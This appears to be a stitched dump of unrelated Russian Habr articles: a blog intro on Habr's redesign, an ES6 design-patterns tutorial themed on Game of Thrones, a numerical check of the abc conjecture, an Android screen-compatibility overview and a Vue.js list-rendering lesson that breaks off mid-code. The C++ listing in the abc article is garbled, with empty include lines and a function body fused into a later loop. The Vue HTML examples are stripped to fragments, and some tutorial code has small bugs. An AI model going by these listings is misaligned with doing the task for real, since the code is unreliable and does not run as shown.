Хабр для меня является одним из тех ресурсов, что я посещаю каждый день уже много лет. Он стал таким привычным, таким ламповым. И хочется чтобы так оставалось ещё очень много лет. Поэтому и появилась эта статья, из-за желания помочь сделать сайт лучше. Не только для себя, но и для всех людей кто разделяет мои мысли.
За всё время сколько существует новая версия сайта, я к ней так и не смог полностью привыкнуть. К мобильной версии да, но вот к настольной никак не получается, она мне неудобна. Львиную долю в этом играет шрифт и определённые детали интерфейса, что негативно сказываются на моём комфорте во время использования.
Но при этом я не могу сказать что всё потеряно и новая версия получилась действительно плохой по сравнению со старой. Она просто другая и требует определённых доработок интерфейса и уделения чуть большего внимания пользовательскому опыту и правок всяких разных мелочей. Главное, что процесс запущен, а значит это всё со временем будет сделано.
[**[ Первая часть ]**](https://habr.com/ru/company/ruvds/blog/673342/)
[](https://bit.ly/3PT6wqs?utm_source=habr&utm_medium=article&utm_campaign=intothevoid&utm_content=novaya_versiya_habra_eshyo_ne_vsyo_poteryano_eshyo_ne_vsyo_chast_vtoraya) | https://habr.com/ru/post/673352/ | null | ru | null |
# Порождающие шаблоны проектирования в ES6+ на примере Игры престолов
Шаблоны проектирования — способы решения наиболее часто встречающихся при разработке программного обеспечения проблем. В этой статье мы рассмотрим порождающие шаблоны с отсылками на Игру престолов.
О структурных паттернах читайте [здесь](https://habr.com/ru/post/496148/).
Порождающие паттерны предназначены для работы с механизмами построения объектов с целью создания объекта наиболее подходящим в данной ситуации способом.
Самыми распространенными порождающими паттернами являются следующие:
* Фабрика (фабричный) (Fabric)
* Абстракция (абстрактный) (Abstract)
* Конструктор (Constructor, Builder)
* Прототип (прототипный) (Prototype)
* Синглтон (Singleton)
### Фабрика
Фабрика — это паттерн, использующий так называемые фабричные методы для создания объектов без необходимости определения класса создаваемого объекта. Что это означает?
Представим, что хотим иметь возможность создавать солдат. Эти солдаты могут быть либо из дома Таргариенов, либо из дома Ланнистеров.
Для этого нам нужны:
* Интерфейс для определения солдат
* Класс для каждого типа солдат для расширения возможностей каждого дома
* Класс для запроса создания нового солдата независимо от дома, которому он принадлежит
```
class Soldier {
constructor(name) {
this.name = name
this.attack = this.attack.bind(this)
}
attack() {}
}
class LannisterSoldier extends Soldier {
attack() {
return 'Lannister always pays his debts'
}
}
class TargaryenSoldier extends Soldier {
attack() {
return 'Fire and blond'
}
}
class Spawn {
constructor(type, name) {
if (type === 'lannister') return new LannisterSoldier(name)
else return new TargaryenSoldier(name)
}
}
(() => {
const lannister = new Spawn('lannister', 'soldier1')
const targaryen = new Spawn('targaryen', 'soldier2')
console.log(lannister.attack())
console.log(targaryen.attack())
})()
```
#### Когда используется?
* Когда ожидается, что реализация интерфейса или абстрактного класса скоро изменится
* Когда существующая реализация не способна быстро адаптироваться к изменениям
* Когда процесс инициализации является простым, а конструктор принимает незначительное количество параметров
### Абстракция
Дисклеймер: абстрактный шаблон основан на объектах. Его крайне сложно использовать в функциональном программировании.
Рассматриваемый шаблон позволяет инкапсулировать группу отдельных фабрик, выполняющих аналогичные задачи, без необходимости определения конкретных классов. При стандартном использовании клиентское ПО создает определенную реализацию абстрактной фабрики и затем использует общий интерфейс фабрики для создания определенных объектов как части единой системы. Клиент не знает (или для него не имеет значения), какие конкретно объекты он получает из каждой внутренней фабрики, поскольку для этого используется общий интерфейс.
Представим, что мы хотим управлять каждым домом по-отдельности. У каждого дома должна быть возможность определять наследника престола и его возлюбленную.
Для этого нам нужны:
* Интерфейс для определения наследника
* Класс для каждого наследника
* Интерфейс для определения возлюбленной
* Класс для каждой возлюбленной
* Интерфейс для определения дома
* Класс для каждого дома, возвращающий экземпляры наследника и возлюбленной
```
// определяем наследника
class HeirToTheThrone {
conctructor(name, isActualOnTheThrone) {
this.name = name
this.isActualOnTheThrone = isActualOnTheThrone
this.getTheThrone = this.getTheThrone.bind(this)
}
getTheThrone() {}
}
class HeirToTheThroneLannister extends HeirToTheThrone {
getTheThrone(){
console.log('kill all')
}
}
class HeirToTheThroneTargaryen extends HeirToTheThrone {
getTheThrone() {
console.log('burn all')
}
}
// определяем возлюбленную
class Subject {
constructor(name) {
this.name = name
this.speak = this.speak.bind(this)
}
speak() {}
}
class SubjectLannister extends Subject {
speak(){
console.log('i love Cersei')
}
}
class SubjectTargaryen extends Subject {
speak(){
console.log('i love Daenerys')
}
}
// определяем дом
class House {
constructor() {
this.getHeir = this.getHeir.bind(this)
this.getSubject = this.getSubject.bind(this)
}
getHeir(){}
getSubject(){}
}
class Lannister extends House {
getHeir() {
return new HeirToTheThroneLannister('Cersei', true)
}
getSubject(name) {
return new SubjectLannister(name)
}
}
class Targaryen extends House {
getHeir() {
return new HeirToTheThroneTargaryen('Daenerys', true)
}
getSubject(name) {
return new SubjectTargaryen(name)
}
}
(()=>{
const lannister = new Lannister()
const targaryen = new Targaryen()
lannister.getHeir().getTheThrone()
lannister.getSubject().speak()
targaryen.getHeir().getTheThrone()
targaryen.getSubject().speak()
})()
```
#### Когда используется?
* Когда клиент не зависит от того, как мы создаем и располагаем объекты относительно друг друга в системе
* Когда система состоит из нескольких групп объектов, и эти группы должны работать сообща
* Когда нам необходима возможность быстрого определения зависимости
### Конструктор
Целью конструктора является отделение сложного объекта от его представлений. При усложнении объекта данный шаблон позволяет отделить процесс создания нового объекта посредством другого объекта (конструктора).
Представим, что мы хотим создать флот для каждого дома. У каждой семьи будет определенное количество кораблей и воинов. Для облегчения создания у нас должна быть возможность вызывать метод «makeNavy», который будет автоматически создавать все, что нам нужно через настройки.
Для этого нам нужны:
* Класс для создания флота
* Интерфейс для определения конструктора
* Класс, отвечающий за создание объектов нашей армии
* Классы, отвечающие за создание солдат и кораблей
```
class Lannister {
constructor() {
this.soldiers = []
this.ships = []
this.makeNavy = this.makeNavy.bind(this)
}
makeNavy(soldiers, ships) {
const Build = new ConcreteBuilder()
for (let i = 0; i < soldiers; i++) {
this.soldiers.push(Build.createSoldier())
}
for (let i = 0; i < ships; i++) {
this.ships.push(Build.createShip())
}
}
}
class Builder {
createSoldier() {}
createShip() {}
}
class ConcreteBuilder extends Builder {
createSoldier() {
const soldier = new Soldier()
return soldier
}
createShip() {
const ship = new Ship()
return ship
}
}
class Soldier {
constructor() {
console.log('soldier created')
}
}
class Ship {
constructor() {
console.log('ship created')
}
}
(() => {
const lannister = new Lannister()
lannister.makeNavy(100, 10)
})()
```
#### Когда используется?
* Когда процесс создания объекта является очень сложным, предполагает большое количество обязательных и опциональных параметров
* Когда рост количества параметров конструктора приводит к увеличению количества конструкторов
* Когда клиент ожидает различных представлений для конструируемого объекта
### Прототип
Прототип позволяет определять виды создаваемых объектов через прототипное наследование и создавать новые объекты с помощью схемы существующего объекта. Это повышает производительность и сводит потери памяти к минимуму.
Представим, что мы хотим создать армию белых ходоков. У нас нет особых требований к этой армии. Мы просто хотим, чтобы их было много, чтобы у них были одинаковые характеристики и чтобы они не занимали много места в памяти.
Для этого нам нужны:
* Класс для хранения информации о белых ходоках
* Метод для клонирования экземпляра, возвращающий такой же метод
```
class WhiteWalker {
constructor(force, weight) {
this.force = force
this.weight = weight
}
clone() {
console.log('cloned')
return new WhiteWalker(this.name, this.weight)
}
}
(()=>{
const firstWalker = new WhiteWalker()
const walkers = [firstWalker]
for(let i=0;i<100;i++){
walkers.push(firstWalker.clone())
}
})()
```
#### Преимущества и недостатки прототипа
Плюсы:
* Помогает экономить стоимость, время и производительность за счет отсутствия необходимости использования нового оператора для создания новых объектов
* Снижает сложность инициализации объекта: каждый класс использует собственный способ клонирования
* Отсутствует необходимость классификации и создания множества подклассов для инициализации объектов как при использовании абстрактного шаблона
* Увеличивает гибкость системы за счет создания новых объектов посредством изменения некоторых свойств копируемого объекта
Минусы:
* Клонирование сложных объектов, имеющих циклические ссылки, является нетривиальной задачей
### Синглтон
Синглтон позволяет убедиться в том, что создаваемый объект является единственным экземпляром определенного класса. Такой объект обычно используется для управления несколькими операциями в системе.
Представим, что мы хотим быть уверены в наличии единственной Матери драконов.
Для этого нам нужны:
* Класс для хранения информации о Матери драконов
* Сохраненный экземпляр Матери драконов
```
let INSTANCE = null
class MotherOfDragons {
constructor(name, dragons) {
if(!!INSTANCE) return INSTANCE
this.dragons = dragons
this.name = name
this.getMyDragons = this.getMyDragons.bind(this)
INSTANCE = this
}
getMyDragons(){
console.log(`I'm ${this.name} and my dragons are`, this.dragons)
}
}
(()=>{
const dragonMother = new MotherOfDragons('Daenerys Targaryen', [
'Drogon',
'Rhaegal',
'Viserion'
])
const dragonMother2 = new MotherOfDragons('Cercei Targaryen', [
'Tirion',
'Jennifer',
'Goblin'
])
dragonMother.getMyDragons()
dragonMother2.getMyDragons()
console.log(dragonMother instanceof MotherOfDragons)
console.log(dragonMother2 instanceof MotherOfDragons)
console.log(dragonMother2 === dragonMother)
})()
```
#### Когда используется?
* Когда ограничены ресурсы, используемые для создания объекта (например, объекты подключения к базе данных)
* Хорошей практикой является построение авторизации с помощью синглтона с целью повышения производительности
* Когда необходимо создать класс для настройки приложения
* Когда необходимо создать класс для распределения ресурсов
Код на [Github](https://github.com/thecreazy/got-javascript-patterns).
Прим. пер.: вот отличное [видео](https://www.youtube.com/watch?v=YJVj4XNASDk), посвященное шаблонам проектирования.
Благодарю за внимание. | https://habr.com/ru/post/497860/ | null | ru | null |
# Численная проверка abc-гипотезы (да, той самой)
Привет, Habr.
На ~~Geektimes~~ Habr было уже несколько статей про abc-гипотезу (например [в 2013](https://habr.com/post/183374/) и [в 2018](https://habr.com/post/426033/) годах). Сама история про теорему, которую сначала много лет не могут доказать, а потом столько же лет не могут проверить, безусловно заслуживает как минимум, художественного фильма. Но в тени этой чудесной истории, сама теорема рассматривается черезчур поверхностно, хотя она не менее интересна. Уже хотя бы тем, что abc-гипотеза — одна из немногих нерешенных проблем современной науки, постановку задачи которой сможет понять даже пятиклассник. Если же эта гипотеза действительно верна, то из нее легко следует доказательство других важных теорем, например доказательство [теоремы Ферма](http://www.vokrugsveta.ru/blogs/sdobrynin/1545.php).
Не претендуя на лавры Мотидзуки, я ~~тоже решил попробовать~~ решил проверить с помощью компьютера, насколько выполняются обещанные в гипотезе равенства. Собственно, почему бы нет — современные процессоры ведь не только для того чтобы в игры играть — почему бы не использовать компьютер по своему основному (compute — вычислять) предназначению…
Кому интересно что получилось, прошу под кат.
Постановка задачи
-----------------
Начнем с начала. О чем собственно, теорема? Как гласит [Википедия](https://en.wikipedia.org/wiki/Abc_conjecture) (формулировка в английской версии немного более понятна), для взаимно-простых (не имеющих общих делителей) чисел a, b и с, таких что a+b=c, для любого ε>0 существует *ограниченное число* троек a+b=c, таких что:
Функция rad называется *радикалом*, и обозначает произведение простых множителей числа. Например, rad(16) = rad(2\*2\*2\*2) = 2, rad(17) = 17 (17 простое число), rad(18) = rad(2\*3\*3) = 2\*3 = 6, rad(1000000) = rad(2^6 ⋅ 5^6) = 2\*5 = 10.
Собственно, суть теоремы в том, что количество таких троек довольно мало. Например, если взять наугад ε=0.2 и равенство 100+27=127: rad(100) = rad(2\*2\*5\*5) = 10, rad(27)=rad(3\*3\*3)=3, rad(127) = 127, rad(a\*b\*c) = rad(a)\*rad(b)\*rad(с) = 3810, 3810^1.2 явно больше 127, неравенство не выполняется. Но бывают и исключения, например для равенства 49 + 576 = 625 условие теоремы выполняется (желающие могут проверить самостоятельно).
Следующий ключевой для нас момент — этих равенств, согласно теореме, ограниченное число. Т.е. это значит, что их все можно просто попытаться перебрать на компьютере. В итоге, это дает нам ~~Нобелевскую премию~~ вполне интересную задачу по программированию.
Итак, приступим.
Исходный код
------------
Первая версия была написана на Python, и хотя этот язык слишком медленный для подобных расчетов, писать код на нем легко и просто, что удобно для прототипирования.
**Получение радикала**: раскладываем число на простые множители, затем убираем повторы, преобразуя массив в множество. Затем просто получаем произведение всех элементов.
```
def prime_factors(n):
factors = []
# Print the number of two's that divide n
while n % 2 == 0:
factors.append(int(2))
n = n / 2
# n must be odd at this point so a skip of 2 ( i = i + 2) can be used
for i in range(3, int(math.sqrt(n)) + 1, 2):
# while i divides n , print i ad divide n
while n % i == 0:
factors.append(int(i))
n = n / i
# Condition if n is a prime number greater than 2
if n > 2:
factors.append(int(n))
return set(factors)
def rad(n):
result = 1
for num in prime_factors(n):
result *= num
return result
```
**Взаимно-простые числа**: раскладываем числа на множители, и просто проверяем пересечение множеств.
```
def not_mutual_primes(a,b,c):
fa, fb, fc = prime_factors(a), prime_factors(b), prime_factors(c)
return len(fa.intersection(fb)) == 0 and len(fa.intersection(fc)) == 0 and len(fb.intersection(fc)) == 0
```
**Проверка**: используем уже созданные функции, тут все просто.
```
def check(a,b,c):
S = 1.2 # Eps=0.2
if c > (rad(a)*rad(b)*rad(c))**S and not_mutual_primes(a, b, c):
print("{} + {} = {} - PASSED".format(a, b, c))
else:
print("{} + {} = {} - FAILED".format(a, b, c))
check(10, 17, 27)
check(49, 576, 625)
```
Желающие могут поэкспериментировать самостоятельно, скопировав вышеприведенный код в любой онлайн-редактор языка Python. Разумеется, код работает ожидаемо медленно, и перебор всех троек хотя бы до миллиона был бы слишком долгим. Ниже под спойлером есть оптимизированная версия, рекомендуется использовать ее.
Окончательная версия была переписана на С++ с использованием многопоточности и некоторой оптимизации (работать на Си с пересечением множеств было бы слишком хардкорно, хотя вероятно и быстрее). Исходный код под спойлером, его можно скомпилировать в бесплатном компиляторе g++, код работает под Windows, OSX и даже на Raspberry Pi.
**Код на С++**
```
// To compile: g++ abc.cpp -O3 -fopenmp -oabc
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
typedef unsigned long int valType;
typedef std::vector valList;
typedef std::set valSet;
typedef valList::iterator valListIterator;
std::vector valFactors;
std::vector valRads;
valList factors(valType n) {
valList results;
valType z = 2;
while (z \* z <= n) {
if (n % z == 0) {
results.push\_back(z);
n /= z;
} else {
z++;
}
}
if (n > 1) {
results.push\_back(n);
}
return results;
}
valList unique\_factors(valType n) {
valList results = factors(n);
valSet vs(results.begin(), results.end());
valList unique(vs.begin(), vs.end());
std::sort(unique.begin(), unique.end());
return unique;
}
double rad(valType n) {
valList f = valFactors[n];
double result = 1;
for (valListIterator it=f.begin(); it pow(valRads[a]\*valRads[b]\*valRads[c], S) && not\_mutual\_primes(a,b,c)) {
printf("%d + %d = %d\n", a,b,c);
cnt += 1;
}
}
}
printf("Done, cnt=%d\n", cnt);
time(&end\_t);
float diff\_t = difftime(end\_t, start\_t);
printf("N=%lld, T = %.2fs\n", N\_MAX, diff\_t);
}
```
Для тех кому лень устанавливать компилятор С++, приведена слегка оптимизированная Python-версия, запустить которую можно в любом онлайн редакторе (я использовал <https://repl.it/languages/python>).
**Python-версия**
```
from __future__ import print_function
import math
import time
import multiprocessing
prime_factors_list = []
rad_list = []
def prime_factors(n):
factors = []
# Print the number of two's that divide n
while n % 2 == 0:
factors.append(int(2))
n = n / 2
# n must be odd at this point so a skip of 2 ( i = i + 2) can be used
for i in range(3, int(math.sqrt(n)) + 1, 2):
# while i divides n , print i ad divide n
while n % i == 0:
factors.append(int(i))
n = n / i
# Condition if n is a prime number greater than 2
if n > 2:
factors.append(int(n))
return factors
def rad(n):
result = 1
for num in prime_factors_list[n]:
result *= num
return result
def not_mutual_primes(a,b,c):
fa, fb, fc = prime_factors_list[a], prime_factors_list[b], prime_factors_list[c]
return len(fa.intersection(fb)) == 0 and len(fa.intersection(fc)) == 0 and len(fb.intersection(fc)) == 0
def calculate(N):
S = 1.2
cnt = 0
for a in range(1, N):
for b in range(a, N):
c = a+b
if c > (rad_list[a]*rad_list[b]*rad_list[c])**S and not_mutual_primes(a, b, c):
print("{} + {} = {}".format(a, b, c))
cnt += 1
print("N: {}, CNT: {}".format(N, cnt))
return cnt
if __name__ == '__main__':
t1 = time.time()
NMAX = 100000
prime_factors_list = [0]*(2*NMAX+2)
rad_list = [0]*(2*NMAX+2)
for p in range(1, 2*NMAX+2):
prime_factors_list[p] = set(prime_factors(p))
rad_list[p] = rad(p)
calculate(NMAX)
print("Done", time.time() - t1)
```
Результаты
----------
Троек a,b,c действительно очень мало.
Некоторые результаты приведены ниже:
**N=10**: 1 «тройка», время выполнения <0.001c
1 + 8 = 9
**N=100**: 2 «тройки», время выполнения <0.001c
1 + 8 = 9
1 + 80 = 81
**N=1000**: 8 «троек», время выполнения <0.01c
1 + 8 = 9
1 + 80 = 81
1 + 242 = 243
1 + 288 = 289
1 + 512 = 513
3 + 125 = 128
13 + 243 = 256
49 + 576 = 625
**N=10000**: 23 «тройки», время выполнения 2с
**Тройки A,B,C до 10000**`1 + 8 = 9
1 + 80 = 81
1 + 242 = 243
1 + 288 = 289
1 + 512 = 513
1 + 2400 = 2401
1 + 4374 = 4375
1 + 5831 = 5832
1 + 6560 = 6561
1 + 6655 = 6656
1 + 6859 = 6860
3 + 125 = 128
5 + 1024 = 1029
10 + 2187 = 2197
11 + 3125 = 3136
13 + 243 = 256
49 + 576 = 625
1331 + 9604 = 10935
81 + 1250 = 1331
125 + 2187 = 2312
243 + 1805 = 2048
289 + 6272 = 6561
625 + 2048 = 2673`
**N=100000**: 53 «тройки», время выполнения 50c
**Тройки A,B,C до 100000**`1 + 8 = 9
1 + 80 = 81
1 + 242 = 243
1 + 288 = 289
1 + 512 = 513
1 + 2400 = 2401
1 + 4374 = 4375
1 + 5831 = 5832
1 + 6560 = 6561
1 + 6655 = 6656
1 + 6859 = 6860
1 + 12167 = 12168
1 + 14336 = 14337
1 + 57121 = 57122
1 + 59048 = 59049
1 + 71874 = 71875
3 + 125 = 128
3 + 65533 = 65536
5 + 1024 = 1029
7 + 32761 = 32768
9 + 15616 = 15625
9 + 64000 = 64009
10 + 2187 = 2197
11 + 3125 = 3136
13 + 243 = 256
28 + 50625 = 50653
31 + 19652 = 19683
37 + 32768 = 32805
49 + 576 = 625
49 + 16335 = 16384
73 + 15552 = 15625
81 + 1250 = 1331
121 + 12167 = 12288
125 + 2187 = 2312
125 + 50176 = 50301
128 + 59049 = 59177
169 + 58880 = 59049
243 + 1805 = 2048
243 + 21632 = 21875
289 + 6272 = 6561
343 + 59049 = 59392
423 + 16384 = 16807
507 + 32768 = 33275
625 + 2048 = 2673
1331 + 9604 = 10935
1625 + 16807 = 18432
28561 + 89088 = 117649
28561 + 98415 = 126976
3584 + 14641 = 18225
6561 + 22000 = 28561
7168 + 78125 = 85293
8192 + 75843 = 84035
36864 + 41261 = 78125`
При **N=1000000** имеем всего лишь 102 «тройки», полный список приведен под спойлером.
**Тройки A,B,C до 1000000**`1 + 8 = 9
1 + 80 = 81
1 + 242 = 243
1 + 288 = 289
1 + 512 = 513
1 + 2400 = 2401
1 + 4374 = 4375
1 + 5831 = 5832
1 + 6560 = 6561
1 + 6655 = 6656
1 + 6859 = 6860
1 + 12167 = 12168
1 + 14336 = 14337
1 + 57121 = 57122
1 + 59048 = 59049
1 + 71874 = 71875
1 + 137780 = 137781
1 + 156249 = 156250
1 + 229375 = 229376
1 + 263168 = 263169
1 + 499999 = 500000
1 + 512000 = 512001
1 + 688127 = 688128
3 + 125 = 128
3 + 65533 = 65536
5 + 1024 = 1029
5 + 177147 = 177152
7 + 32761 = 32768
9 + 15616 = 15625
9 + 64000 = 64009
10 + 2187 = 2197
11 + 3125 = 3136
13 + 243 = 256
13 + 421875 = 421888
17 + 140608 = 140625
25 + 294912 = 294937
28 + 50625 = 50653
31 + 19652 = 19683
37 + 32768 = 32805
43 + 492032 = 492075
47 + 250000 = 250047
49 + 576 = 625
49 + 16335 = 16384
49 + 531392 = 531441
64 + 190269 = 190333
73 + 15552 = 15625
81 + 1250 = 1331
81 + 123823 = 123904
81 + 134375 = 134456
95 + 279841 = 279936
121 + 12167 = 12288
121 + 255879 = 256000
125 + 2187 = 2312
125 + 50176 = 50301
128 + 59049 = 59177
128 + 109375 = 109503
128 + 483025 = 483153
169 + 58880 = 59049
243 + 1805 = 2048
243 + 21632 = 21875
289 + 6272 = 6561
338 + 390625 = 390963
343 + 59049 = 59392
423 + 16384 = 16807
507 + 32768 = 33275
625 + 2048 = 2673
864 + 923521 = 924385
1025 + 262144 = 263169
1331 + 9604 = 10935
1375 + 279841 = 281216
1625 + 16807 = 18432
2197 + 583443 = 585640
2197 + 700928 = 703125
3481 + 262144 = 265625
3584 + 14641 = 18225
5103 + 130321 = 135424
6125 + 334611 = 340736
6561 + 22000 = 28561
7153 + 524288 = 531441
7168 + 78125 = 85293
8192 + 75843 = 84035
8192 + 634933 = 643125
9583 + 524288 = 533871
10816 + 520625 = 531441
12005 + 161051 = 173056
12672 + 117649 = 130321
15625 + 701784 = 717409
18225 + 112847 = 131072
19683 + 228125 = 247808
24389 + 393216 = 417605
28561 + 89088 = 117649
28561 + 98415 = 126976
28561 + 702464 = 731025
32768 + 859375 = 892143
296875 + 371293 = 668168
36864 + 41261 = 78125
38307 + 371293 = 409600
303264 + 390625 = 693889
62192 + 823543 = 885735
71875 + 190269 = 262144
131072 + 221875 = 352947
132651 + 588245 = 720896`
Увы, программа работает все равно медленно, результатов для N=10000000 я так и не дождался, время вычисления составляет больше часа (возможно я где-то ошибся с оптимизацией алгоритма, и можно сделать лучше).
Еще интереснее посмотреть результаты графически:
В принципе, вполне очевидно, что зависимость количества возможных троек от N растет заметно медленнее самого N, и вполне вероятно, что результат будет сходиться к какому-то конкретному числу для каждого ε. Кстати, при увеличении ε число «троек» заметно сокращается, например при ε=0.4 имеем всего 2 равенства при N<100000 (1 + 4374 = 4375 и 343 + 59049 = 59392). Так что в целом, похоже что теорема действительно выполняется (ну и наверное ее уже проверяли на компьютерах помощнее, и возможно, все это уже давно посчитано).
Желающие могут поэкспериментировать самостоятельно, если у кого будут результаты для чисел 10000000 и выше, я с удовольствием добавлю их к статье. Разумеется, было бы интересно «досчитать» до того момента, когда множество «троек» совсем перестанет расти, но это может занять реально долгое время, скорость расчета похоже зависит от N как N\*N (а может и N^3), и процесс весьма долгий. Но тем не менее, удивительное рядом, и желающие вполне могут присоединиться к поиску.
Правка: как подсказали в комментариях, в Википедии [таблица с результатами](https://en.wikipedia.org/wiki/Abc_conjecture) уже есть — в диапазоне N до 10^18 количество «троек» все же растет, так что «конец» множества пока не найден. Тем интереснее — интрига пока сохраняется. | https://habr.com/ru/post/427091/ | null | ru | null |
# О совместимости Android-приложений на различных устройствах
Не секрет, что число устройств на Android велико, они различаются по железу, размерам и качеству экрана, мощности процессора и др.. В отличии от iPhone- программистов, которые знают наверняка на каком устройстве будет запущено их приложение, Android-разработчикам необходимо уделять внимание совместимости приложений с различными устройствами.
В данной статье уделяется внимание вопросу совместимости приложений, в первую очередь отображения приложений на экранах с различными диагоналями и разрешением.
Для начала необходимо разобраться с возможностями, которые предоставляет Android для работы с экраном.
##### Основные сведения
**Размер экрана**(screen size) — физический размер экрана; предопределенные значения: small, normal, large, extra large\*.
**Геометрический коэффициент**(aspect ratio)– отношение физических пропорций экрана (ширины к высоте); предопределенные значения: long (для экранов, чьи размеры превосходят по ширине или высоте стандартные размеры экрана), notlong(для экранов, чьи размеры соответствуют стандартным).
**Плотность**(density) – распределение пикселей относительно физических размеров экрана. Значение плотности распределения пикселей важно, поскольку один и тот же UI элемент, выраженный в пикселях для экранов с более низкой плотностью будет казаться больше, чем для экранов с высокой. Предопределенные значения для плотности: ldpi (low), mdpi (medium), hdpi (high), and xhdpi\*.
**Независимый**(от плотности) **пиксел**(density-independent или dp) – “виртуальный” пиксел, который может быть использован приложением для прорисовки UI-элементов. Данный пиксел является эквивалентом физического пиксела на экране с плотностью 160 dpi. Во время выполнения OS Android прорисовывает элемент в соответствии с формулой pixel = dp \* (density/160), где density – плотность экрана.
Стоит также отметить, что OS Android работает с разрешением экрана, через значения плотности экрана (никаких средств для работы с разрешением напрямую разработчик не имеет).
На рисунке ниже показано как соотносятся значения плотности и размера экрана устройств с предопределенными значениями этих величин.
\*Еще один момент, который стоит отметить: значение плотности xdpi было добавлено в версии Android 2.2(API level 8), значение экрана xlarge – в версии Android 2.3(API level 9)
##### Работа с манифестом и загрузкой ресурсов
Начиная с версии Android 1.6, в манифест был добавлен тег , который используется для определения класса устройств, на которых может быть запущено приложение. Атрибуты тега smallScreens, normalScreens, largeScreens, xlargeScreens соответствуют определенным выше значениям экрана и могут принимать значения true или false. Дефолтные значения атрибутов варьируются в зависимости от используемой версии Android (более детальную информацию можно посмотреть [тут](http://developer.android.com/guide/practices/screens_support.html#attrs). ). При определении значения атрибута как true, OS Android получает сигнал о том, что приложение совместимо с соответствующим типом экрана и не применяет дополнительные средства для совместимости ( что происходит при значении false). Стоит также отметить, что эти средства(функции) работают только на совместимость с большими размерами экранов (т.о. если значение normalScreen – true, остальные – false, приложение будет также совместимо с экранами large и с xlarge, но не совместимо со small). Данный тег также используется Android Market'ом для фильтрации приложений.
Для плотности также имеется атрибут – anyDensity, который также принимает значения true/false. Если значение атрибута – true, OS Android не использует функции для совместимости с различными плотностями экрана. В этом случае приложение должно использовать dp для прорисовки UI элементов, либо самостоятельно управлять вычислением размеров для различных плотностей. Если значение – false, OS Android включает функции для масштабирования элементов в соответствии с плотностью экрана.
##### Размещение ресурсов
OS Android также предоставляет средства для определения ресурсов, которые будут использованы для конкретных размеров экранов и плотностей. Ресурсы размещаются в соответствующих папках.
`res/layout/my_layout.xml // layout for normal screen size
res/layout-small/my_layout.xml // layout for small screen size
res/layout-large/my_layout.xml // layout for large screen size
res/layout-large-land/my_layout.xml // layout for large screen size in landscape mode
res/layout-xlarge/my_layout.xml // layout for extra large screen size
res/drawable-ldpi/my_icon.png // image for low density
res/drawable-mdpi/my_icon.png // image for medium density
res/drawable-hdpi/my_icon.png // image for high density
res/drawable-nodpi/composite.xml // density independent resource`
##### Поддержка совместимости экранов
Коротко механизм поддержки можно описать с помощью следующих шагов:
1. OS Android получает значения атрибутов тега support-screens из манифеста.
2. Подгружаются ресурсы для соответствующего размера экрана и плотности (это происходит независимо от данных, полученных в п.1).
3. В соответствии с п.1 OS Android включает/не включает функции для обеспечения совместимости.
4. Производится прорисовка элементов.
##### Общие рекомендации для создания совместимого приложения
* Использовать значения wrap\_content, fill\_parent, dp в макетах.
* Избегать использования AbsoluteLayout .
* Использовать методы класса ViewConfiguration для получения стандартных значений размеров, скорости, времени.
* Использовать разные ресурсы для разных значений плотности и размеров экрана.
##### Послесловие
Статья не охватывает практических моментов, связанных с тестированием приложения на девайсах с различными характеристиками экранов, думаю выделить это в отдельный пост.
Основной источник: [developer.android.com](http://developer.android.com) | https://habr.com/ru/post/111560/ | null | ru | null |
# Vue.js для начинающих, урок 4: рендеринг списков
Сегодня, в четвёртом уроке учебного курса по Vue, мы поговорим о том, как выводить на страницу списки элементов.
[](https://habr.com/ru/company/ruvds/blog/510898/)
→ [Vue.js для начинающих, урок 1: экземпляр Vue](https://habr.com/ru/company/ruvds/blog/509700/)
→ [Vue.js для начинающих, урок 2: привязка атрибутов](https://habr.com/ru/company/ruvds/blog/509702/)
→ [Vue.js для начинающих, урок 3: условный рендеринг](https://habr.com/ru/company/ruvds/blog/510628/)
→ [Vue.js для начинающих, урок 4: рендеринг списков](https://habr.com/ru/company/ruvds/blog/510898/)
→ [Vue.js для начинающих, урок 5: обработка событий](https://habr.com/ru/company/ruvds/blog/511600/)
→ [Vue.js для начинающих, урок 6: привязка классов и стилей](https://habr.com/ru/company/ruvds/blog/511602/)
→ [Vue.js для начинающих, урок 7: вычисляемые свойства](https://habr.com/ru/company/ruvds/blog/512660/)
→ [Vue.js для начинающих, урок 8: компоненты](https://habr.com/ru/company/ruvds/blog/512658/)
Цель урока
----------
Нам нужно вывести в карточке товара дополнительные сведения о нём. Эти сведения должны быть представлены в виде списка, содержащего следующее:
* 80% cotton
* 20% polyester
* Gender-neutral
Начальный вариант кода
----------------------
Начнём работу с такого HTML-кода (файл `index.html`):
```
![]()
{{ product }}
=============
In stock
Out of Stock
```
Вот как будет выглядеть объект `data`, используемый при создании экземпляра Vue в `main.js`:
```
data: {
product: "Socks",
image: "./assets/vmSocks-green.jpg",
inStock: true,
details: ['80% cotton', '20% polyester', 'Gender-neutral']
}
```
Здесь появилось новое свойство — массив `details`.
Задача
------
Необходимо вывести на странице содержимое массива `details`. Для этого требуется найти ответы на вопросы о том, как перебрать массив, и о том, как визуализировать его данные.
```
details: ['80% cotton', '20% polyester', 'Gender-neutral']
```
Решение задачи
--------------
Тут нам поможет ещё одна директива Vue — `v-for`. Она позволяет перебирать массивы и выводить содержащиеся в них данные.
Добавим в `index.html` следующий код:
```
* {{ detail }}
```
Благодаря этому на странице появится список дополнительных сведений о товаре.
*Список на странице*
Синтаксическая конструкция, используемая в кавычках вместе с директивой `v-for`, покажется знакомой тем, кто пользовался JavaScript-циклами `for of` или `for in`. Поговорим о том, как работает директива `v-for`.
Здесь мы используем существительное в единственном числе (`detail`) в качестве псевдонима для строковых значений, извлекаемых из массива. Затем мы пишем `in` и указываем имя коллекции, которую перебираем (`details`). В двойных фигурных скобках указывается то, какие именно данные мы хотим выводить (`{{ detail }}`).
Так как конструкция `v-for` находится внутри элемента `-`, Vue выведет новый элемент `-` для каждого элемента массива `details`. Если бы директива `v-for` использовалась внутри элемента , тогда для каждого элемента массива выводился бы элемент , визуализирующий значение этого элемента массива.
Директиву `v-for` можно представить себе в виде конвейера, на котором имеется манипулятор. Он берёт элементы коллекции, по одному за раз, и собирает список.
*Директива v-for похожа на конвейер*
Рассмотрим ещё один пример применения `v-for`, более сложный. Здесь мы будем выводить в элементе данные, хранящиеся в массиве объектов.
Перебор массива объектов
------------------------
Карточка товара, разработкой которой мы занимаемся, нуждается в возможности выводить сведения о разных вариантах одного и того же товара. Эти сведения содержатся в массиве объектов `variants`, который хранится в объекте с данными `data`. Как перебрать этот массив объектов для вывода данных?
Вот массив, о котором идёт речь:
```
variants: [
{
variantId: 2234,
